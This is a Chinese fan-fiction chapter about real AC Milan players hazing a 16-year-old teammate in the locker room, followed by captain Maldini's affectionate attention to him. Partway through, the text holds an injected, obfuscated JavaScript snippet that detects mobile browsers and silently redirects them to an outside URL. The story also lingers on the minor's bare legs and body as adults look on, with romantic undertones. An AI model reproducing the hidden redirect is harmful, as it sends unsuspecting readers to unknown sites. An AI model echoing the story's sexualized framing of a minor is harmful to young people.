马尔蒂尼闻言只是笑着摇摇头,看他们继续闹,没有任何掺和的意思。
加图索趁他分心,反手一捞,把洛伦佐从背上拽下来,两个人滚在地板上,但靠谱的小熊把Lollo护得紧紧的,谁也不会受伤。
洛伦佐挣扎着想起来,被因扎吉从后面按住肩膀摸摸腰,小孩整个人瞬间软了,瘫在地上笑得喘不上气。
“服不服?”加图索骑在他身上,气喘吁吁地问。
“不……不服……”洛伦佐的声音断断续续的,眼泪都笑出来了。
“行,有骨气。”加图索抬头冲因扎吉使眼色,“皮波,再来点泡沫。”
因扎吉正要去找那管不知道被踢到哪儿的剃须泡沫,马尔蒂尼忽然轻轻咳了一声。
加图索听见后下意识抬头,就这一眼,洛伦佐抓住机会从他身下钻出来,连滚带爬躲到马尔蒂尼身后。
“保罗!你管管他们!”洛伦佐从马尔蒂尼肩膀后面探出半个脑袋,脸上又是泡沫又是记号笔印,乱七八糟的。
男人低头无奈的看了他一眼,这个小坏蛋,但还是侧过身把小孩挡得更严实了。
没玩够的小熊从地上爬起来,叉着腰,一脸不服:“队长!我们只是在欢迎他!”
“对啊!”因扎吉在旁边帮腔,“当年大家进来的时候也是这么过来的!”
马尔蒂尼扫了他们一眼,队长的气场不显山不露水地铺开:“当年谁按着你画胡子了?我怎么不记得。”
坏蛋狐狸被护短狮子噎住了,哼哼唧唧地不说话。
加图索还想再争,马尔蒂尼看了眼时间,提高声音:“都别磨蹭了,还有二十分钟。该换衣服的换衣服,该收拾的收拾,别让卡尔洛等。”
话音刚落,更衣室里响起此起彼伏的应声。
有人嚷嚷“知道了”“马上马上”,有人抱怨“队长你催命呢”,马尔蒂尼选择性忽略最后那句。
他转身看着呲着大牙乐的洛伦佐,眼神里刚才那点严肃瞬间化开,带了笑意:“你也去,洗洗那张小花脸。”
小孩从马尔蒂尼身后钻出来,冲加图索他们吐了吐舌头,然后一溜烟跑进淋浴间。
加图索在后面骂了句“小崽子”,却也老老实实去收拾自己了。因扎吉摸了摸脸上被洛伦佐画的“9”,啧了一声,也跟了进去。
更衣室里瞬间从闹哄哄变成了另一种闹哄哄——脱衣服的、找袜子的、互相抱怨刚才谁下手太狠的、还有光着屁股在柜子间跑来跑去的。
舍甫琴科已经把自己收拾利索了,正坐在凳子上看手机,大概是检查刚才录的视频。安布罗西尼在旁边光着膀子一起看,两个人时不时发出憋不住的笑声。
劳尔森和西米奇终于敢进来了。
更衣室里光溜溜一片,白的、黑的、晒成小麦色的,各种肤色晃来晃去,正常的不能再正常,没什么人在意,除非实在长得太好看了,让热情的意大利人拒绝不了。
他俩面对满屋子的光屁股,毫无异色的走到自己柜子前也开始换衣服。
内斯塔坐在自己柜子前,干脆利索的换好了上衣,至于刚才那件被泼湿的T恤,他随手揉成一团扔在旁边,大概是准备让它自生自灭。
洛伦佐冲完澡出来的时候,大部分人已经换得差不多了。
他在心里暗自庆幸,幸好卫衣里面的这件打底没在刚才的混战中牺牲,虽然可能没什么人在意,但他这会儿脸皮突然薄了,实在不好意思□□着出来。裤子就没办法了,那条牛仔裤早就沾满了水和泡沫,只能光着出来换训练裤。
洛伦佐的两条长腿就这么明晃晃地露在外面,打底衫长度刚好盖过大腿根,走动的时候下摆一晃一晃的,隐约能看见一点大腿内侧的皮肤,白的像牛奶。
科斯塔库塔正好换完,转身看见他,吹了声口哨。“哟,小子,腿不错啊。”老比利笑得一脸玩味。
Lollo红着脸叹了口气,遍地都是足球流氓的意大利真是太可怕了。什么,他也是意大利人啊?那没事了。
洛伦佐快步走到自己柜子前,柜门上贴着的“36”标签在光线下亮亮的。这个位置在更衣室右侧最边缘,旁边挨着的是托马森。
更衣室的柜子分配是有讲究的。资历老的、地位高的,位置自然就好,在中间显眼的地方,进出方便。像他这样刚上来的小将,一般都是在边缘或者后排,正常。
洛伦佐对此没什么意见。他以后有的是时间,有的是机会往上挪。等哪天他成了球队不可或缺的核心,想换位置也就一句话的事。
洛伦佐拿起训练服开始往身上套,是米兰统一的黑色款,剪裁利落,面料舒服。
托马森换得比他早,已经套上了训练服,正对着镜子整理领口。他看见洛伦佐过来,冲他点点头,算是打招呼,然后视线下意识地往对方身上飘了一下。
洛伦佐正弯腰穿裤子,打底衫下摆掀起来,露出一小截腰腹。那里的肌肉线条清晰分明,腹肌轮廓整整齐齐地排列着,饱满又富有弹性,再加上皮肤白,看上去手感很好的样子。
托马森默默收回视线,低头看了眼自己的肚子,然后非常隐蔽地吸了一口气。
他的腹肌其实也不差,毕竟是职业球员,身材管理都在线。但有些东西吧,天生就没办法比。洛伦佐那种线条是天生的基因加后天的训练,流畅得像雕塑,而他……好吧,他肚子是平的,但平得没那么好看。
托马森的动作不明显。但刚好被走过来的安布罗西尼撞见。
安布罗西尼也蔫儿坏,嘴角憋着笑,从托马森身边经过的时候,用只有两个人能听见的声音说:“别吸了,我看见了。”
托马森俊脸一红,没理大金毛。
洛伦佐完全不知道旁边发生了什么。他把衣服都穿好后,翻出发绳,开始处理自己的头发。
刚来的发型早就没了,被泡沫和水蹂躏得一塌糊涂。他干脆把所有的头发都拢起来,用手梳顺,然后三下两下扎成一个马尾。
洛伦佐扎得挺高,从后脑勺垂下来,发尾刚好扫过后颈。几缕没扎进去的碎发散在鬓角和耳侧,他对着镜子顺手把那几缕碎发往后勾了一下。
就在这时,他感觉到身后有呼吸。
小孩猛地一激灵,整个人差点跳起来。他下意识往旁边躲,回过头就看见马尔蒂尼不知道什么时候站在自己身后,离他不到两步的距离,姿态闲适,正似笑非笑地看着他。
“你怎么走路没声音的!”洛伦佐捂着胸口,眼睛睁得圆圆的,“吓死我了!”
马尔蒂尼有学有样地也用手捂着胸口:“我站这儿有一会儿了,是你太专注没发现。”
洛伦佐气鼓鼓的瞅着他,想反驳,但又没法反驳。自己刚才确实全神贯注在扎头发,根本没注意周围。但这不是重点呀,重点是被吓到是真的被吓到了,心脏现在还咚咚跳呢。
“你吓死我了……”小孩嘀嘀咕咕,声音压得很低,只有两个人能听见,“在家里也就算了,在这儿也这样……”
马尔蒂尼听见他嘀咕,眼神温柔的不得了。他往前走近一步,健壮的体格让洛伦佐下意识想退后,但背后就是柜子,退无可退。
“吓到了?”男人的声音也压低了,像大猫在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265257|198087||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
呼噜呼噜,带着点那种只有两个人独处时才会有的柔软。
洛伦佐戳戳对方鼓鼓的胸口,没说话,但那眼神分明在说“你说呢”。
马尔蒂尼看着他那副炸毛又强压着的样子,笑意根本藏不住。如果在家里,他大概会再逗两句,看小孩真的炸起来,然后再顺毛捋。洛伦佐小发雷霆的样子特别鲜活可爱,像是只竖起尾巴的小猫,看着就让人心情好。
但这里可不是家,是更衣室。
旁边还有人在换衣服,托马森就在旁边,虽然丹麦人假装在整理自己的东西,但耳朵肯定竖着。远处加图索还在骂骂咧咧找袜子,因扎吉和舍甫琴科也正往这边瞟。
马尔蒂尼收回逗人的念头,从善如流地低声道了歉:“是我的错,不该站你后面。”
语气特别乖,乖得不像个积威甚深的队长,倒像个被女朋友抱怨的男朋友。
洛伦佐一愣,没想到他道歉得这么干脆,后面准备好的词儿都卡在喉咙里,最后只能“哼”了一声,算是接受了。
马尔蒂尼看着他,目光从下往上扫了一遍,小孩还没反应过来,对方的手已经落到耳朵边了。
指尖触到耳垂的时候,他下意识缩了一下脖子,有点痒,然后就感觉到绿松石耳坠的搭扣被人给轻轻捏住了。
洛伦佐条件反射地微微仰起脸,把耳朵露出来,方便对方操作。这个动作太自然了,自然到两个人都没意识到有什么不对。
“训练的时候别戴这些。”马尔蒂尼的声音轻轻柔柔的,在他耳边喵喵叫,“万一被人碰到,耳洞扯伤了麻烦。”
男人的手指很稳,捏着那小小的金属搭扣,轻轻一拨,就解开了。他把耳坠取下来,又小心去取耳轮上那个素银圈。
小孩乖乖仰着脸,任他摆弄。微凉的金属触感在指尖和耳垂间传递。马尔蒂尼的动作很轻,像是怕扯疼他似的,每次只动一点点。
洛伦佐感受着他的动作,忽然想起在马尔蒂尼家里的时候,每次跟克里斯玩,小家伙没轻没重的,有时候扑过来会扯到他耳朵上的坠子或者手腕上的链子。马尔蒂尼看见了,就会走过来,说“克里斯,轻点”,然后顺手帮他把首饰取下来放好。
一来二去,男人就记住了洛伦佐身上哪些东西容易被扯到,记住了每一样怎么解最顺手。
“其实训练的时候可以戴的,又不是比赛……”洛伦佐小声说。
“我知道。”马尔蒂尼解完耳朵,视线落在他手腕上。“但我不想你受伤,多小的可能都不想。”
这下小孩不说话了,耳根有点热。
他乖顺的把左手伸过去。那条银链贴着腕骨,链子细细的,搭扣更细。
马尔蒂尼低着头,专注地解那条链子,手指时不时碰到洛伦佐的手腕内侧,那里的皮肤很薄,能感觉到指腹的温度。
“还有戒指呢。”大狮子变大猫猫啦。晕头转向的Lollo把两个素圈也撸下来,放在男人宽厚的掌心里。
马尔蒂尼从柜子里拿出小孩的包,拉开小口袋,把东西一样一样放进去,动作仔细的像在藏什么宝贝。
“保罗,你好细心啊。”洛伦佐心软软的,凑到猫猫身边。马尔蒂尼没接这话,只是抬眼看他,那眼神里有点什么,但很快收了回去,只剩下一片温柔的阴影。
“走吧,”他说,抬手在洛伦佐后颈轻轻按了下,“该训练了。”
洛伦佐被他按得脖子一缩,但没躲,漂亮的蓝眼睛水润润的:“那你先走吧,我喝口水就来。”
马尔蒂尼没再说什么,转身朝门口走去。他的背影挺拔,步伐稳健,在更衣室的光线下拉出一道长长的影子。
洛伦佐看着那背影,想起来刚才马尔蒂尼站在他身后时,他感受到的那股气息。他太熟悉了,在家里,在车上,在很多只有两个人独处的时刻,那股气息总是离他很近。
他拧开保温杯喝了口水,水有点凉了,咽下去的时候喉咙一阵清爽。就这一小阵的功夫,马尔蒂尼已经走出去几步,正和内斯塔说着什么。
洛伦佐放下杯子抓起护腿板,跟着往外跑。经过托马森身边的时候,丹麦人的表情有点微妙。他没在意,顺嘴说了句“Ciao,Jon Dahl,待会儿见”,就跑出去了。
托马森看他跑远了,才低头琢磨起自己的肚子。然后光明正大的又吸了一口。
“别吸了。”安布罗西尼再次从他身边经过,这次没憋着,直接笑出了声,“再吸也赶不上人家十六岁的。”
破防的托马森瞪了他一眼。
更衣室外,阳光洒满训练场,队友们三三两两地往草皮上走。洛伦佐的马尾在风里一晃一晃的,金色的发尾在阳光下亮得晃眼,像片会跑的阳光。
马尔蒂尼走在最前面,步子不快,但所有人都跟着他。